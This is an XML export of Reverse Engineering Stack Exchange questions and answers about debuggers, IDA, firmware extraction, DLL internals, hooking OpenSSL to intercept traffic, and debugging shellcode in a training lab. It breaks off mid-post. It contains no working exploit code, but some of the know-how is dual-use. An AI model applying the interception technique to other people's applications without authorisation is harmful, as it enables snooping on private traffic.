  <row Id="18658" PostTypeId="1" CreationDate="2018-07-01T21:41:03.373" Score="2" ViewCount="206" Body="&lt;p&gt;I was working on a java application which is run for the first couple of minutes &amp;amp; then application interface hangs. I had open the application in JMC &amp;amp; it shows &lt;a href=&quot;https://i.stack.imgur.com/JeZhL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JeZhL.jpg&quot; alt=&quot;JMC Thread Details&quot;&gt;&lt;/a&gt; later I create a thread dump to know more detail of the thread &amp;amp; it shows that most blocked count is java.lang.StringBuilder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Thread-1 - priority:5 - threadId:0x0000000018392800 - nativeId:0x2de0 - state:WAITING   &#xA;stackTrace:&#xA;java.lang.Thread.State: WAITING (on object monitor)&#xA;at java.lang.Object.wait(Native Method)&#xA;at java.lang.Object.wait(Object.java:502)&#xA;at com.sun.glass.ui.InvokeLaterDispatcher.run(InvokeLaterDispatcher.java:126)&#xA;- locked &amp;lt;0x00000000a1d65960&amp;gt; (a java.lang.StringBuilder)&#xA;Locked ownable synchronizers:&#xA;- None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how can I be able to know for which class file the error is happening. Note: I don't have the source code of the application.&#xA;Thread dump link - &lt;a href=&quot;https://www.sendspace.com/file/sdqv30&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24368" LastActivityDate="2018-07-01T21:41:03.373" Title="How to reverse a java thread to get its origin" Tags="|java|byte-code|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18659" PostTypeId="1" CreationDate="2018-07-02T02:15:36.273" Score="1" ViewCount="970" Body="&lt;p&gt;To preface, I am not a well-versed developer in the whole business of reverse engineering or even most basic programming. This is a project I made with the goal of attempting to replicate an existing connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, there is an application that will send server requests that I wish to snoop on and replicate. However, I've tried using Fiddler, Wireshark and a number of other network sniffing applications to try to intercept these packets, but nothing shows up. I was tipped off that it may be useful to try to &quot;hook&quot; into the SSL_read and SSL_write functions as the application makes use of the OpenSSL library. However, I have no idea how to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dll in question is libssl-1_1.dll. When I attempted to look up how to hook into it, I found a bunch of results where the user could compile a C file to hook into it. I found another developer had used EasyHook to do so, but I have no idea how to generate the files to do so. I would appreciate any assistance in this matter, especially if it's something I can easily follow.&lt;/p&gt;&#xA;" OwnerUserId="24873" LastActivityDate="2018-07-02T02:15:36.273" Title="How to hook into OpenSSL shared library?" Tags="|function-hooking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18660" PostTypeId="2" ParentId="18657" CreationDate="2018-07-02T07:39:27.663" Score="1" Body="&lt;p&gt;From the standpoint of how IDA and Windbg connect to the debugged process, there's no difference. From the standpoint how IDA and Windbg handle debugging events while the program is running there's a difference. Up to some time IDA was very bad at it, and choosing windbg way was a better option. So using IDA local debugger is ok, unless you need to execute some windbg commands from IDA while debugging. But in case you have problems while debugging, you have a backup option to try. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-07-02T07:39:27.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18661" PostTypeId="1" CreationDate="2018-07-02T08:48:40.730" Score="2" ViewCount="791" Body="&lt;p&gt;How to determine the System memory addresses of SPI Flash used in device running eCos operating system? For example, &lt;code&gt;show flash&lt;/code&gt; command returns the following info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Flash Device Information:&#xA;&#xA;      CFI Compliant: no&#xA;        Command Set: Generic SPI Flash&#xA;   Device/Bus Width: x16&#xA; Little Word Endian: no&#xA;    Fast Bulk Erase: no&#xA;    Multibyte Write: 256 bytes max&#xA;  Phys base address: 0xbadf1a5&#xA; Uncached Virt addr: 0x1badf1a5&#xA;   Cached Virt addr: 0x2badf1a5&#xA;   Number of blocks: 129&#xA;         Total size: 8388608 bytes, 8 Mbytes&#xA;       Current mode: Read Array&#xA;        Device Size: 8388608, Write buffer: 256, Busy bit: &#xA;&#xA;      Size  Device      Device     Region&#xA;Block  kB   Address     Offset     Offset   Region Allocation&#xA;----- ---- ---------- ----------- --------- -----------------&#xA;    0   32 0x1badf1a5           0         0 Bootloader (32768 bytes)&#xA;    1   32 0x1bae71a5       32768       ??? {unassigned}&#xA;    2   64 0x1baef1a5       65536         0 Permanent NonVol (65536 bytes)&#xA;    3   64 0x1baff1a5      131072         0 Image1&#xA;    4   64 0x1bb0f1a5      196608     65536 Image1&#xA;    5   64 0x1bb1f1a5      262144    131072 Image1&#xA;    6   64 0x1bb2f1a5      327680    196608 Image1&#xA;    7   64 0x1bb3f1a5      393216    262144 Image1&#xA;    ..  .. ........ &#xA;  127   64 0x1c2bf1a5     8257536   4063232 Image2 (4128768 bytes)&#xA;  128   64 0x1c2cf1a5     8323072         0 Dynamic NonVol (65536 bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But these addresses seems is not an actual addresses of memory locations.&#xA;Because when I try &lt;code&gt;readmem&lt;/code&gt; command, it always returns errors.&#xA;For example, there is an example of &lt;code&gt;readmem&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;readmem -s 4 -n 64 0x80001234  -- Reads 64 bytes as 32-bit values&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried &lt;code&gt;readmem -s 4 -n 16384 0x1baef1a5&lt;/code&gt; it always returns error: &lt;code&gt;ERROR - Address&lt;/code&gt;(for any addresses from above table). So I assume these addresses is not an actual Flash Memory addresses. I tnink is this because processor’s memory controller maps the flash address space to the system address space. And flash word-size differs from system word-size.&#xA;How to find the System memory address to read SPI Flash?&lt;/p&gt;&#xA;" OwnerUserId="14092" LastEditorUserId="14092" LastEditDate="2018-07-06T08:09:37.053" LastActivityDate="2018-07-06T08:09:37.053" Title="SPI Flash, how to find the System memory addresses?" Tags="|memory|embedded|mips|flash|spi|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18662" PostTypeId="2" ParentId="18657" CreationDate="2018-07-02T09:15:28.403" Score="6" Body="&lt;p&gt;The Windbg debugger plugin is an IDA Pro debugger plugin that uses Microsoft's debugging engine (dbgeng) that is used by Windbg, Cdb or Kd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Windbg plugin is very similar to IDA Pro's Win32 debugger plugin, nonetheless by using The Windbg plugin, one can benefit from the command line facilities and the extensions that ship with the debugging tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, one can type “!chain” to see the registered Windbg extensions:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/J6iPt.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J6iPt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;“!gle” is another command to get the last error value of a given Win32 API call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2mzNL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mzNL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another benefit of using the Windbg debugger plugin is the use of symbolic information.&#xA;Normally, if the debugging symbols path is not set, then the module window will only show the&#xA;exported names. For example kernel32.dll displays 1359 names:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/etASW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/etASW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Let us configure a symbol source by adding this environment variable before running IDA:&lt;br&gt;&#xA;&lt;code&gt;set _NT_SYMBOL_PATH=srv*C:\Temp\pdb*http://msdl.microsoft.com/download/symbols&lt;/code&gt;&lt;br&gt;&#xA;It is also possible to set the symbol path directly while debugging:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tycMb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tycMb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;and then typing “.reload /f” to reload the symbols.&#xA;Now we try again and notice that more symbol names are retrieved from kernel32.dll:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KuwgZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KuwgZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Now we have 5818 symbols instead!&lt;br&gt;&#xA;It is also possible to use the “x” command to quickly search for symbols:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/h8TpX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8TpX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;(Looking for any symbol in any module that contains the word “continue”)&lt;br&gt;&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf&quot; rel=&quot;noreferrer&quot;&gt;[source]&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second part of your question, use IDA Pro debugger (Windbg debugger plugin) if you need IDA Pro features otherwise use Windbg. &lt;/p&gt;&#xA;" OwnerUserId="22363" LastActivityDate="2018-07-02T09:15:28.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18663" PostTypeId="2" ParentId="16233" CreationDate="2018-07-02T11:21:52.813" Score="1" Body="&lt;p&gt;I was faced with similar issue and found the following workaround: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create specific structure with field offset equal to your &lt;code&gt;r31&lt;/code&gt; offset&lt;/li&gt;&#xA;&lt;li&gt;Use &quot;Structure offset (T)&quot; for each interesting instruction.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24877" LastEditorUserId="245" LastEditDate="2018-07-02T11:54:30.067" LastActivityDate="2018-07-02T11:54:30.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18664" PostTypeId="2" ParentId="18639" CreationDate="2018-07-02T11:31:35.500" Score="1" Body="&lt;p&gt;I can see two paths for moving forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, following your current approach, you can probably detect version information and library automatically in the strings you find. This is not a bulletproof solution but will save you the time of manually reading thousands of strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go through the task of creating FLIRT, or &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1879/how-can-i-diff-two-x86-binaries-at-assembly-code-level&quot;&gt;one of the many function level binary diffing&lt;/a&gt; tools out there with different versions of various libraries.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-02T11:31:35.500" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="18665" PostTypeId="1" CreationDate="2018-07-02T15:28:51.970" Score="1" ViewCount="1461" Body="&lt;p&gt;When I debug a &lt;code&gt;.exe&lt;/code&gt; file on Windows with IDA, I do it step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I move one step back and reset all the registers and stack to what they were one instruction ago?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, when I'm looking at a specific address on the stack and move one step I'm loosing my view of the specific address, the stack view change to current &lt;code&gt;sp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I always look at a specific stack address without the view changing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="2147" LastEditDate="2018-07-02T16:09:51.597" LastActivityDate="2018-07-02T16:18:00.017" Title="How to move one step back in a debugger" Tags="|ida|windows|debugging|x86|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18667" PostTypeId="2" ParentId="18665" CreationDate="2018-07-02T16:18:00.017" Score="1" Body="&lt;p&gt;&lt;em&gt;Although those are too completely unrelated questions and should be asked separately, I'll answer both.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Can I move one step back and reset all the registers and stack to what they were one instruction ago?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No. You cannot. In order to move a step backwards IDA (or any other debugger for that matter) needs to store all previous register values, memory values and CPU state. This is not part of debugging functionality provided by most debuggers. There are a few instrumentation tools that allow for that, but they're overhead is rarely worth the effort / limitations for most debugging sessions. I often use Virtual Machines and save snapshots for that purpose instead.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;when I'm looking at a specific address on the stack and move one step I'm loosing my view of the specific address, the stack view change to current sp.&lt;/p&gt;&#xA;&lt;p&gt;How can I always look at a specific stack address without the view changing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The stack view window follows the stack pointer by definition. However, it seems you're using the stack view for purposes that would better utilize the memory view/memory dump. The memory dump view (located just below the instructions/disassembly view in IDA by default) will show you a range of memory addresses and is freely browsable. You can create multiple memory views within IDA to view multiple address areas at any given time. The memory view will not show other addresses unless you've specifically changed the address using the UI.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-07-02T16:18:00.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18668" PostTypeId="2" ParentId="18661" CreationDate="2018-07-02T18:24:07.517" Score="2" Body="&lt;p&gt;I'm not too familiar with eCos, but my guess is that &lt;code&gt;device address&lt;/code&gt; is not a memory address but the address of the hardware device used to access the SPI chip by the OS and bootloader, i.e. something similar to the PCI address like B0:D31:F0 (bus 0, device 31, function 0) on the PC. You should try to find where the flash is mapped into memory and read the chunks using the &lt;code&gt;Offset&lt;/code&gt; column.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-02T18:24:07.517" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18669" PostTypeId="1" AcceptedAnswerId="18785" CreationDate="2018-07-02T19:25:58.360" Score="6" ViewCount="3041" Body="&lt;p&gt;I want to make type libraries from Windows 10 SDK and DDK version 16299 and/or 17134. I saw this tutorial &lt;a href=&quot;https://www.hex-rays.com/products/ida/5.3/tilib.txt&quot; rel=&quot;noreferrer&quot;&gt;TILIB - utility to create type libraries for IDA&lt;/a&gt;. Then I downloaded it from &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;noreferrer&quot;&gt;IDA Support: Download Center&lt;/a&gt; and placed it in IDA installation folder i.e. &lt;code&gt;C:\program files\ida&lt;/code&gt;. I tried with both SDK and DDK but both failed. Here are the outputs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SDK:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt;tilib64.exe -c -h&quot;C:\Program Files (x86)\Windows Kits\10\Include\10.0.17134.0\um\Windows.h&quot; abc.til&#xA;Error C:\Program Files (x86)\Windows Kits\10\Include\10.0.17134.0\um\Windows.h,1: Can't open include file 'winapifamily.h'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DDK:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt;tilib64.exe -c -h&quot;C:\Program Files (x86)\Windows Kits\10\Include\10.0.17134.0\km\wdm.h&quot; abc.til&#xA;Error C:\Program Files (x86)\Windows Kits\10\Include\10.0.17134.0\km\wdm.h,38: #error: Compiler version not supported by Windows DDK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing anything wrong? Should I add other header and lib files? What is the proper way to make a type libraries for Windows 10?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-07-22T13:58:56.713" Title="How to make type libraries from Windows 10 SDK and DDK?" Tags="|ida|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18670" PostTypeId="1" AcceptedAnswerId="18671" CreationDate="2018-07-03T02:17:50.677" Score="2" ViewCount="548" Body="&lt;p&gt;I was just debugging something in IDA and it told me that the instruction pointer was pointing into the middle of an instruction, and asked if I would like to have it disassemble the middle of the instruction. In my particular case I never want to do that, so I checked &quot;don't ask me again&quot;, but then I clicked yes accidentally, so now it's redefining my code and throwing away my carefully written comments every time I step. How do I reset this?&lt;/p&gt;&#xA;" OwnerUserId="15893" LastActivityDate="2018-07-03T05:39:25.707" Title="How do I reset the &quot;don't ask me again&quot; checkbox in an IDA popup?" Tags="|ida|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18671" PostTypeId="2" ParentId="18670" CreationDate="2018-07-03T05:39:25.707" Score="4" Body="&lt;p&gt;Go to &lt;code&gt;Windows -&amp;gt; Reset hidden messages&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EBfgz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EBfgz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HGopO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HGopO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2018-07-03T05:39:25.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18673" PostTypeId="1" CreationDate="2018-07-03T15:22:26.813" Score="2" ViewCount="2288" Body="&lt;p&gt;I reverse an &lt;code&gt;.exe&lt;/code&gt; file with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a function that appears to be encrypting something by generating some random numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It there any tool to identify if it is a known encryption algorithm?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="2147" LastEditDate="2018-07-03T15:44:04.840" LastActivityDate="2018-07-03T15:51:58.993" Title="How to identify known encryption algorithm?" Tags="|ida|encryption|encodings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18674" PostTypeId="2" ParentId="18673" CreationDate="2018-07-03T15:51:58.993" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Signsrch&lt;/a&gt; is a somewhat old tool that searches for signatures and magic values for different encryption and hash algorithms. I had a collection of  other similar tools in the past, so I believe you can find other related tools by googling for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a IDA plugin re-implementation of the same plugin &lt;a href=&quot;https://github.com/nihilus/IDA_Signsrch&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, you may wanna use it instead.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-03T15:51:58.993" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18675" PostTypeId="1" AcceptedAnswerId="18690" CreationDate="2018-07-03T19:44:34.923" Score="3" ViewCount="286" Body="&lt;p&gt;I'm currently trying to understand a peculiar behaviour with a shellcode. When reaching a MOV instruction just before an interrupt the shellcode get modified:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiyW2.png&quot; alt=&quot;radare2 output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on the radare2 output, my shellcode is still there before the mov instruction, but once I step into it all the shellcode seems scrambled. I tried this shellcode on an ubuntu virtualbox VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target binary is taken from RPISEC &lt;a href=&quot;https://github.com/RPISEC/MBE/blob/master/src/lab03/lab3B.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;lab3B&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shellcode come from pwntools, I tested it first directly from the lib and it works on the VM. I'm wondering how executing a mov instruction can have such an impact especially since I'm not getting any sigsev.&lt;/p&gt;&#xA;" OwnerUserId="24885" LastEditorUserId="24885" LastEditDate="2018-07-03T19:53:39.873" LastActivityDate="2018-07-05T07:31:39.867" Title="Shellcode issue" Tags="|x86|exploit|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18676" PostTypeId="1" AcceptedAnswerId="18678" CreationDate="2018-07-03T20:46:51.870" Score="7" ViewCount="4724" Body="&lt;p&gt;I'm writing in C++ and doing an exercise to familiarize myself with DLLs and shared objects (.so). How can I access internals without exporting them? &lt;em&gt;GetProcAddress&lt;/em&gt; returns null on a call of an unexported function. I wrote the DLL so I know all of the function and variable names.&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2018-07-04T09:25:26.850" Title="How can I access an internal DLL function or piece of data externally?" Tags="|c++|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18678" PostTypeId="2" ParentId="18676" CreationDate="2018-07-04T00:51:26.633" Score="7" Body="&lt;p&gt;In case you know the address of your function in the DLL you can call in &quot;C&quot; language via a function pointer. Let us make an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you have a function residing in a DLL called &quot;notExportedFunc&quot; with the signature&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int notExportedFunc(int a, int b);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could call it like in the following main program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef int notExportedFunc(int a, int b);&#xA;&#xA;int main() {&#xA;&#xA;    HANDLE h = LoadLibrary(L&quot;mydll.dll&quot;); //Image base address, might change on every call&#xA;&#xA;    if (h == 0)&#xA;    {&#xA;        printf(&quot;Cannot load mydll.dll\n&quot;);&#xA;        return -1;&#xA;    }&#xA;    int funcOffset = 0x11560;             //from the linker map&#xA;    int funcAddress = (int)h + funcOffset;&#xA;    notExportedFunc* f = (notExportedFunc*)(funcAddress);&#xA;    int result = f(3, 4);&#xA;    printf(&quot;Result = %d\n&quot;, result);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the linker map, the relevant entries look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0000:00000000       ___ImageBase&lt;/strong&gt;               10000000 &amp;lt;=== &lt;strong&gt;Linker Suggestion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0001:00000000       __enc$textbss$begin        10001000 &lt;strong&gt;Not relevant here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0001:00010000       __enc$textbss$end          10011000 &lt;strong&gt;Not relevant here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0002:00000560       ?notExportedFunc@@YAHHH@Z  10011560 f   dllmain.obj&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ImageBase address is returned by the &quot;LoadLibrary(&quot;mydll.dll&quot;)&quot; call. You should be aware that this address usually changes on every call to LoadLibrary, due to ASLR (Address Space Layout Randomization).&#xA;Therefore the address of notExportedFunc must not be taken directly from the linker map, but must be calculated. In our example, the offset is 0x11560, which must be added to the address returned by LoadLibrary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the program is usual &quot;C&quot; function call via a function pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be possible to automate this further, but the example hopefully shows the general mechanics of calling private functions in a DLL.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="2147" LastEditDate="2018-07-04T05:32:34.740" LastActivityDate="2018-07-04T05:32:34.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18679" PostTypeId="2" ParentId="18676" CreationDate="2018-07-04T09:25:26.850" Score="4" Body="&lt;p&gt;The &lt;code&gt;GetProcAddr&lt;/code&gt; Windows API is used to retrieve addresses for &lt;em&gt;exported&lt;/em&gt; functions. It will always return &lt;code&gt;null&lt;/code&gt; for non-exported functions as it is unable to find it in the PE file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exporting a function is what makes it available to other executables. Without exporting the data of where in the executable a function resides is unavailable (this is not entirely true, as &lt;em&gt;symbols&lt;/em&gt; may still reveal that information but they're not used by &lt;code&gt;GetProcAddr&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still wish to find a function pointer to a non exported function, you'll need to follow an exported reference chain. For example, if &lt;code&gt;func1&lt;/code&gt; uses &lt;code&gt;func2&lt;/code&gt; and &lt;code&gt;func1&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; exported, you can get the address for &lt;code&gt;func1&lt;/code&gt; and then disassemble &lt;code&gt;func1&lt;/code&gt; until you find the call to &lt;code&gt;func2&lt;/code&gt; within it. Recognising the right call may be a little tricky, but that's definitely doable.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-04T09:25:26.850" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18680" PostTypeId="2" ParentId="18646" CreationDate="2018-07-04T09:46:59.343" Score="0" Body="&lt;p&gt;&lt;em&gt;This is a very general and shallow question so I'm giving a very general and shallow answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting that information is done by reverse engineering the binary in question (the flash player dll in your case). You can either dynamically reverse engineer it (usually using a debugger) or statically (usually using a disassembler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to specifically do it in the case of the flash player dll is a too broad of a question to properly answer, you'll need to start reverse engineering and perhaps consult back with specific issues you're having trouble with.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-28T02:24:53.390" LastActivityDate="2018-07-28T02:24:53.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18681" PostTypeId="1" CreationDate="2018-07-04T10:46:30.277" Score="-1" ViewCount="673" Body="&lt;p&gt;I do static analysis of ARM assembly code (I can't debug it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look on argument that in &lt;code&gt;SP+0x&amp;lt;SomeOffset&amp;gt;&lt;/code&gt; I can find what I'm looking for, but if I look a few lines further down I see that this argument is not there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which ARM, command is influencing the stack pointer (SP) position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any add/sub to &lt;code&gt;SP&lt;/code&gt;, the only commands that I see is &lt;code&gt;ldr&lt;/code&gt; and &lt;code&gt;str&lt;/code&gt; from &lt;code&gt;SP&lt;/code&gt; and to &lt;code&gt;SP&lt;/code&gt; +function &lt;code&gt;BL&lt;/code&gt; that not touch on this argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that even I call to function, when I finish it the &lt;code&gt;SP&lt;/code&gt; need to be same,  and store to &lt;code&gt;SP+offset&lt;/code&gt; or load from &lt;code&gt;SP+offset&lt;/code&gt; don't need to change the &lt;code&gt;SP&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24892" LastEditorUserId="245" LastEditDate="2018-07-04T13:50:35.770" LastActivityDate="2018-07-04T13:50:35.770" Title="Which ARM command is influencing the SP position?" Tags="|arm|stack|pointer|offset|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18682" PostTypeId="1" AcceptedAnswerId="18686" CreationDate="2018-07-04T10:57:44.010" Score="0" ViewCount="178" Body="&lt;p&gt;I'm trying to extract data from a firmware file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;binwalk&lt;/code&gt; on the firmware, which found a single chunk of Zlib compressed data. I uncompressed this data, and used &lt;code&gt;strings&lt;/code&gt; on the result, which produced output whose structure looks a lot like a mix of file paths, source code, and human-readable text. Here's a small sample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;32107654ba98fedc&#xA;32107654BA98FEDC&#xA;,8UBEDSA GTRESiaF :del&#xA; elifs% 